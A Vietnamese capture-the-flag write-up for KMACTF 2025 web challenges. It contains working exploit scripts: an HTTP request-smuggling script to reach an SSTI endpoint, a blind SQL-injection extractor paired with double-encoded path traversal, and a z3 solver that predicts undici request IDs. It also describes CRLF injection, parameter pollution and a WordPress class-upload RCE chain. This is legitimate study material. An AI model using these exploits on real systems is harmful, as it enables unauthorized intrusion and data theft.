---
# System prepended metadata

title: KMACTF-2025-2nd

---

# web/ACL and H1

Chall cho 2 services, guinicorn và ats.
![image](https://hackmd.io/_uploads/r1n8XTO3ge.png)

Trong đó, ats sẽ chặn request tới route `/render` của service guinicorn.
![image](https://hackmd.io/_uploads/Hkx-U6O2gx.png)

Rất rõ ràng, đây là SSTI
![image](https://hackmd.io/_uploads/Skmj8aOhgl.png)

Đến đây thì ta đã nắm được mục tiêu phải làm cách nào đó để bypass ats và thực hiện exploit SSTI. Ta thử search xem có CVE nào không. Và ye chính là nó CVE-2024-53868, request smuggling 
> https://nvd.nist.gov/vuln/detail/CVE-2024-53868

Search một lúc thì ra article này https://w4ke.info/2025/06/18/funky-chunks.html
![image](https://hackmd.io/_uploads/SJD_npu2xx.png)

Quan trọng nhất là `chunk header` vì server sẽ nhận 2 là size của chunk body phía dưới (số `45`) nếu không payload sẽ lỗi (mất 2 tiếng vì cái này)
![chunkkk](https://hackmd.io/_uploads/S1flbrF3xx.png)


### exploit

upload SSTI payload
![image](https://hackmd.io/_uploads/BkEr_C_2ex.png)

smuggle sẽ craft payload như trong article
![image](https://hackmd.io/_uploads/SJo_KRu2lx.png)

get flag
![image](https://hackmd.io/_uploads/r1qsYR_ngx.png)

Để dễ thực hiện smuggle thì mình chatgpt viết script
```
import socket

host = '165.22.55.200' 
port = 50001 

filepath = '/app/uploads/43d54fd837a34b1988df5269f9cc8212/f6fab105615d4e4d.txt'
smuggled = (
    f"GET /render?filepath={filepath} HTTP/1.1\r\n"
    f"Host: {host}\r\n"
    f"Transfer-Encoding: chunked\r\n"
    f"\r\n"
    f"0\r\n"
    f"\r\n"
).encode('ascii')

backend_termination = b"0\r\n\r\n"

second_body = backend_termination + smuggled
second_body_len = len(second_body)

second_hex = format(second_body_len, 'x')

dummy_size = len(second_hex)

dummy_hex = format(dummy_size, 'x')

dummy_body = ('A' * dummy_size).encode('ascii')

chunked_body = (
    dummy_hex.encode('ascii') + b';\n' +
    dummy_body + b'\r\n' +
    second_hex.encode('ascii') + b'\r\n' +
    second_body
)

malicious_request = (
    f"POST /upload HTTP/1.1\r\n"
    f"Host: {host}\r\n"
    f"Transfer-Encoding: chunked\r\n"
    f"Connection: keep-alive\r\n"
    f"\r\n"
).encode('ascii') + chunked_body

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(malicious_request)

response = b''
while True:
    data = s.recv(4096)
    if not data:
        break
    response += data

print(response.decode('utf-8', errors='ignore'))

s.close()
```

# web/CVE-2025-93XX

Author cho ta 1 cái wordpress có 2 plugins `wpcasa` và `safe php class upload`. Theo tên bài thì ta đoán có lẽ CVE sẽ nằm ở plugin `wpcasa` version 1.4.1.
![image](https://hackmd.io/_uploads/SJHd3Jtnxg.png)

> https://nvd.nist.gov/vuln/detail/CVE-2025-9321

Ta thấy description hàm gây vuln là `api_requests`, search thử thì hàm nằm trong `includes/class-wpsight-api.php` 

![image](https://hackmd.io/_uploads/rJAqTkYhex.png)

Diff source ta thấy api endpoint đã bị filter 
![image](https://hackmd.io/_uploads/SJQK1gtnxg.png)

> https://github.com/wpsight/wpcasa/commit/c9f5d0b9df7b080af8a526c213a917aa7f3772f0

Đây là sink của CVE, ta cần có 1 class có constructor độc hại để exploit.
![Screenshot 2025-09-30 125104](https://hackmd.io/_uploads/rJzZglt2gl.png)

Ta thấy có plugin `safe php class upload` filter các hàm nguy hiểm gây RCE nhưng ta có nhiều cách để bypass

![image](https://hackmd.io/_uploads/rJjPMeKnel.png)

Giờ ta đã có ý tưởng exploit: tạo class constructor RCE -> upload class -> trigger CVE-2025-9321. Nhưng làm sao để `class_exists` true, đọc code plugin `wpcasa` tiếp ta thấy author đã chỉnh sửa để load class ở folder upload của plugin `safe php class upload`. Vậy là ta đã có exploit chain hoàn hảo.

![image](https://hackmd.io/_uploads/r1JXEeK2gx.png)


### exploit


upload file tmp
![image](https://hackmd.io/_uploads/Hyp5p-cngg.png)

include
![image](https://hackmd.io/_uploads/BJI0abq2eg.png)


trigger
![image](https://hackmd.io/_uploads/S14yA-93ee.png)

### unintended
Thật ra author đã sửa source plugin để include các file được upload và plugin đã được activate sẵn nên sẽ có tác dụng toàn trang wordpress do đó ta cũng không cần phải dùng tới CVE =))

![image](https://hackmd.io/_uploads/H16Nkz53el.png)

upload
![image](https://hackmd.io/_uploads/rJ5Xbz9hxe.png)

trigger
![image](https://hackmd.io/_uploads/r1UjyM5nel.png)

# web/Data Lost Prevention

Chall cho vuln sqli filter khá nhẹ, bypass tương đối dễ.
```
space = /**/
or = ||
= = >
```
![image](https://hackmd.io/_uploads/SycbSBFhlx.png)


Flag được lưu ở `/var/data/flags` với name flag random, flagPath được lưu ở DB (trong lúc thi bị ngáo không đọc `init_flag.php` nên cứ tưởng phải RCE web để lấy flag, nên cứ đi tìm mãi cách RCE mà không cần dùng `union` =)). À mà service DB với web tách biệt cũng không thể RCE được :v. Troll )
![image](https://hackmd.io/_uploads/SkP8SrKnxl.png)

Ta thấy web có một chức năng khác cho phép path travelsal. Ta thấy author đã filter `../` nhưng ở dưới lại `$file2 = urldecode($file)` vậy nên ta chỉ cần urlencode 2 lần là có thể bypass. Ngoài ra để readfile thì là `str_starts_with($path, $base)` thay vì là `$real` nên chúng ta có thể thực hiện path travelsal. (`..%252f..%252fdata/flags/[flag name]`)
![reallll-path](https://hackmd.io/_uploads/S1eNOSY3xg.png)

Đến đây exploit chain là: `sqli api search.php ->path travelsal -> flag`.

### exploit

Dùng kĩ thuật binary search để cho nhanh :v


```
from concurrent.futures import ThreadPoolExecutor, as_completed
import warnings, urllib3
import requests

warnings.filterwarnings("ignore", category=urllib3.exceptions.InsecureRequestWarning)

url = "https://dlp.wargame.vn"

def sqli(pos, mid):
    p = f"1'||(ascii(SUBSTR((SELECT/**/storage_path/**/FROM/**/attachments),{pos},1))>{mid})%23"
    return "true" in requests.get(f"{url}/api/search.php?q={p}", verify=False).text

def get_char(pos):
    l, h = 32, 128
    while l <= h:
        m = (l + h) // 2
        if sqli(pos, m):
            l = m + 1
        else: h = m - 1
    return chr(l)

def fetch(n = 61, workers = 12):
    with ThreadPoolExecutor(workers) as ex:
        futs = {ex.submit(get_char, i): i for i in range(1, n + 1)}
        res = [''] * n
        for f in as_completed(futs): res[futs[f] - 1] = f.result()
    return ''.join(res)


if __name__ == "__main__":
    path = fetch()
    payload = f"..%252f..%252fdata/flags/{path.split('/')[-1]}"
    print(path)
    resp = requests.get(f"{url}/export.php?file={payload}", verify=False)
    print(resp.text)
```

![image](https://hackmd.io/_uploads/Sy4AcBY3ge.png)

# web/YDSYD

Chall intendeded là prototype polution nhưng ta có thể login thẳng admin và lấy flag =)).
![image](https://hackmd.io/_uploads/SyMykBYhlg.png)


### exploit
![image](https://hackmd.io/_uploads/SJQmAVY3xl.png)


![image](https://hackmd.io/_uploads/Bk74ANFnee.png)

# web/vibe_coding
Chall cho 2 services nodejs và python trong đó nodejs là proxy.
Ta cần `admin` để lấy flag
![image](https://hackmd.io/_uploads/rJqTMrK3ee.png)


### setup debug
Ta sẽ debug nodejs trong docker vì thế ta cần setup nodejs remote debug. Trên mạng có hướng dẫn khá nhiều, mình đã tham khảo của anh endy https://endy21.hashnode.dev/setup-debug-nodejs-python-java-php. 

Điều khác biệt là ta sẽ dùng `chrome://inspect` để debug thay vì dùng `VScode`, vì chrome sẽ đi được sâu vào lib internal của nodejs.
![image](https://hackmd.io/_uploads/rk6ALnC3eg.png)

Vào Configure, nhập port debug như đã setup ở `Dockerfile`
![image](https://hackmd.io/_uploads/rynMvh03le.png)

Ta đã bắt được debug
![debugg](https://hackmd.io/_uploads/SkhADnR2ee.png)

Tiếp đến là setup burp proxy mục đích để xem `fetch` gửi cái gì.
![image](https://hackmd.io/_uploads/HJSQUhA3ge.png)

Ta sẽ thêm 3 dòng này vào `index.js`
![Screenshot 2025-10-04 215631](https://hackmd.io/_uploads/H1ANL3Rnlx.png)

Ta cần cài đặt `undici 5.22.1` để tương thích với nodejs-18 
```
FROM node:18.20.4-alpine

WORKDIR /app

COPY package*.json ./

RUN npm install --production && npm install undici@5.22.1

COPY . .

RUN addgroup -g 1001 -S nodejs
RUN adduser -S ctfuser -u 1001
RUN chown -R ctfuser:nodejs /app
USER ctfuser

EXPOSE 3000

CMD ["node", "--inspect=0.0.0.0:9229", "index.js"]
```
> Dockerfile

Đồng thời thay đổi URL của python server để burp có thể thực hiện routing 
![image](https://hackmd.io/_uploads/HJ7C_2R3xx.png)

### intended
Tiến hành register, login, và gửi action
![image](https://hackmd.io/_uploads/rJIiY2C2gx.png)

Ta thấy Nodejs proxy sẽ gửi qua backend - python server dưới dạng `form-data`
![image](https://hackmd.io/_uploads/BJtpthC3gg.png)

Đến đây ta có thể thử thực hiện `CRLF`
![image](https://hackmd.io/_uploads/HkQO93Ahxl.png)

Và ye đã thành công
![crlfff](https://hackmd.io/_uploads/BkH6c3Rhlg.png)

Lúc này ta sẽ có ý tưởng thêm field username `admin` để bypass check vì `Flask` sẽ nhận field đầu tiên thay vì field thứ 2 là `tesdvmvfmt`
![image](https://hackmd.io/_uploads/ry9V3h0nel.png)
> https://book.hacktricks.wiki/en/pentesting-web/parameter-pollution.html#parameter-pollution-by-technology

Thử ngay
![image](https://hackmd.io/_uploads/HypQTh0nel.png)

Đượccc, đã thành công add thêm field username `admin`.
![image](https://hackmd.io/_uploads/HJc6T2R3ll.png)


Bây giờ nhiệm vụ ta là bypass `requestID`
![requestID](https://hackmd.io/_uploads/rJw70n0nlx.png)

Debug thôi nào, đặt debug ở `fetch`
![image](https://hackmd.io/_uploads/rJB_020nee.png)

Ta thấy, `fetch` sử dụng thư viện `undici` để fetch
![image](https://hackmd.io/_uploads/H1wSkaA3ee.png)

Thử search CVE xem sao, thì đúng thật là có CVE =))
![image](https://hackmd.io/_uploads/HJqakTAnxl.png)
> https://nvd.nist.gov/vuln/detail/CVE-2025-22150

Thì CVE này đại khái bảo rằng `undici` sử dụng `Match.random()` mà cái này lại là insecure random (có thể dự đoán được) nên từ đó ta có thể predict `requestID` dễ dàng.

Lướt xuống ta thấy `hackerone` -> maybe có POC
![image](https://hackmd.io/_uploads/S15heaRhgx.png)

Thanks `hackerone`, `report.tar.xz` có chứa python POC
![image](https://hackmd.io/_uploads/H1KG-TCneg.png)

Sửa tí để lấy requestID từ server
```
#!/usr/bin/python3
import z3
import struct
import sys
import base64
import json
import requests

url = "http://localhost:3000/health"
sequence = []

for i in range(9):
    response = requests.get(url)
    data = response.json()
    sequence.append(data["requestId"])
    
sequence = sequence[::-1]

solver = z3.Solver()

se_state0, se_state1 = z3.BitVecs("se_state0 se_state1", 64)

for i in range(len(sequence)):
    se_s1 = se_state0
    se_s0 = se_state1
    se_state0 = se_s0
    se_s1 ^= se_s1 << 23
    se_s1 ^= z3.LShR(se_s1, 17)  # Logical shift instead of Arthmetric shift
    se_s1 ^= se_s0
    se_s1 ^= z3.LShR(se_s0, 26)
    se_state1 = se_s1
    solver.add(int(sequence[i]) == ((z3.ZeroExt(64,z3.LShR(se_state0, 12))*1e11)>>52) )


if solver.check() == z3.sat:
    model = solver.model()

    states = {}
    for state in model.decls():
        states[state.__str__()] = model[state]

    state0 = states["se_state0"].as_long()

    u_long_long_64 = (state0 >> 12) | 0x3FF0000000000000
    float_64 = struct.pack("<Q", u_long_long_64)
    next_sequence = struct.unpack("d", float_64)[0]
    next_sequence -= 1

    print(int(next_sequence*1e11))
```

![image](https://hackmd.io/_uploads/SJ2kfpRnlg.png)

nó work
![predicted](https://hackmd.io/_uploads/B1vBf60hxg.png)

Thử exploit xem sao
![image](https://hackmd.io/_uploads/r1NoGpA3eg.png)

Ta cần thêm số 0 vào đầu số predict. Ủa s kì z =))
![so0](https://hackmd.io/_uploads/BJ_RL6C2gl.png)

Đọc lại đoạn middleware của nodejs, thì ta thấy hơi lạ, `generateRequestId()` là cái chi z.
![image](https://hackmd.io/_uploads/SyWrX6Rnxx.png)

Và đây là `generateRequestId()`, thủ phạm đã khiến predict sai, nếu không có header `x-request-id` thì `generateRequestId()` sẽ được gọi, điều đó làm predict bị sai. Có nghĩa là script chúng ta sẽ lấy 9 lần tiếp theo tương ứng với 9 lần gọi `Math.random()`, nếu không có header `x-request-id` thì `Math.random()` sẽ được gọi thêm 1 lần nữa dẫn đến giá trị predict không còn chính xác. Vì vậy ta cần thêm header `x-request-id`
![image](https://hackmd.io/_uploads/BJLOXaR2el.png)


### exploit
Đầu tiên ta cần predict
![image](https://hackmd.io/_uploads/H1zO_60hxe.png)

Thêm header `x-request-id` và thay đổi `requestID` tương ứng, ta đã lấy được flag.
![finallyy](https://hackmd.io/_uploads/SkPSY6A3xg.png)

Nếu theo cách intended thì đáng lẽ chall phải cho tạo instance riêng mới đúng vì nhiều người sẽ làm ảnh hưởng predict của người khác 🤔.
### unintended
Để ý `username` đã bị strip vậy nên ta chỉ cần register user `admin   ` (có space).

![image](https://hackmd.io/_uploads/SyUgQHF2xx.png)

### exploit
register
![image](https://hackmd.io/_uploads/B12C7HKhlx.png)

login
![image](https://hackmd.io/_uploads/SyTB4Stnll.png)

get flag
![image](https://hackmd.io/_uploads/S1RINSK2xl.png)

# forensics/raito yagami

Extract bằng password `123456` như đề bài 
![image](https://hackmd.io/_uploads/rkCdoStnlg.png)

Đổi `.xlsx` thành `.zip`
![image](https://hackmd.io/_uploads/BJgHiHY3gl.png)

